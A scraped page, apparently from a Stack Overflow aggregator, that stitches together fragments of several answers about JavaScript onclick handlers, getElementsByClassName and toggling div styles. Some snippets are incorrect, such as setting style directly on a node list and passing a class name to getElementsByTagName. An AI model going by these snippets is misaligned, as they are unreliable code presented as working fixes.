                 document.body.className = "on";
                 ele.state = true;
            }
            else {
                 document.body.className = "";
                 ele.state = false;
            }
        };
    </script>
</head>
<body>
    <button type="button" id="expand" onclick="foo(this);">[+]</button>
    <div class="div1">
        content
    </div>
    <div class="div1">
        content
    </div>
</body>

PS. Your style tag is closed by script tag.

javascript - How can I toggle onClick var div class style without usin...

javascript if-statement onclick toggle getelementsbyclassname
Rectangle 27 0

photo[0].onclick = function(){alert("Finaly!");};

*returns a nodelist

javascript - getElementsByClassName onclick issue - Stack Overflow

javascript
Rectangle 27 0

your if condition check is wrong, you need to use equality operator (==) and not assignment operator ( = ) in condition check, so change:

if (elems[i].style.height = '25px'){
..
if (elems[i].style.height == '25px'){ //use == not =
..

and yes the closing tag } of for loop is also missing, do:

for(var i = 0; i < elems.length; i++) {
  if (elems[i].style.height == '25px'){
    elems[i].style.height = '110px';
  }
  else {
      elems[i].style.height = '25px';
      document.getElementById("expand").innerHTML="[+]";
  }
}

javascript - How can I toggle onClick var div class style without usin...

javascript if-statement onclick toggle getelementsbyclassname
Rectangle 27 0

document.getElementsByClassName("top-icon-menu").style.marginTop = "0px";

Javascript more function onclick and ClassName - Stack Overflow

javascript onclick getelementsbyclassname
Rectangle 27 0

I know JavaScript and I can tell you for sure JQuery isn't needed. Now, you haven't shown us exactly what you've tried, getElementsByClassName only works in certain browsers (IE9+). Otherwise, you should be able to use the following for the "Send" button, assuming it has a click event attached to it already. I've added my own div element, for the snippet. You can also collapse this to one line, JavaScript is flexible with white space...

var nlDivs = document.getElementsByTagName('DIV');
  for (var i = 0; i < nlDivs.length; i++) {
    if (nlDivs[i].innerHTML === 'Send')
      nlDivs[i].click();
  }
<div class="goog-button-base-content" onclick="javascript:alert('test');">Send</div>

Thanks. I've tried exactly the code in the first line (via Applescript's do javascript) using Safari browser. It works in other contexts, but with the div button it returns missing value.. I'm not sure what the second line of code is (the div) or how to implement it. I can't even get it to compile in Applescript's of javascript.

This sounds vaguely familiar. Check the answer that is not mine, there may be an iFrame you need to deal with. stackoverflow.com/questions/32094551/ What seemed like should have worked, didn't here either...

@ WhiteHat LOL. First thing I checked was for an iframe. None in sight. From what I've been able to find, including the link at the very top, this div button structure is common on Google sites and has been problematic for others trying to click it with Javascript.

ok, didn't see one on the other question either, but you never know. I'm guessing you don't have the ability to change the outcome of the HTML? Add an id to the element or anything?

No, its an external site. I can't modify it. Is that what you were suggesting with the 2nd line of code?

jquery - Clicking a "div button" on a Safari web-page using AppleScrip...

javascript jquery safari applescript
Rectangle 27 0

Using jquery, you can easily target all the elements which have a specific class and assign an onclick event to it as shown below:

$(".photo_class").click(function(){
                            alert("Finally!")});

If you want to target a specific element which has an id, then you can use the below call:

$("#photo_element_id").click(function(){
                            alert("Finally!")});

javascript - getElementsByClassName onclick issue - Stack Overflow

javascript
Rectangle 27 0

getElementsByClassName takes one parameter, the class name and returns a node list

If you want <img> elements within 'photo_wrap' with class name 'photo_class' to take the same event handler you could do something like this

var container = document.getElementById('photo_wrap');
var elements = container.getElementsByTagName('photo_class');
for(var x = 0; x < elements.length; x++) {
    // ignore anything which is not an <img>
    if(elements[x].nodeName != "IMG") {
       continue;
    }

    elements[x].addEventListener("click",function(){

      // do something when element is clicked
      this.style.backgroundColor = 'red'; // change element bgcolor to red

    },false);
}

javascript - getElementsByClassName onclick issue - Stack Overflow

javascript
Rectangle 27 0

Use marginTop, its not margin-top;

function fullhouse()
{
   document.getElementById("fullhouse").style.display = "none";
   document.getElementsByClassName("header-container").style.marginTop = "0px";
   document.getElementsByClassName("top-icon-menu").style.marginTop = "0px";
}

Javascript more function onclick and ClassName - Stack Overflow

javascript onclick getelementsbyclassname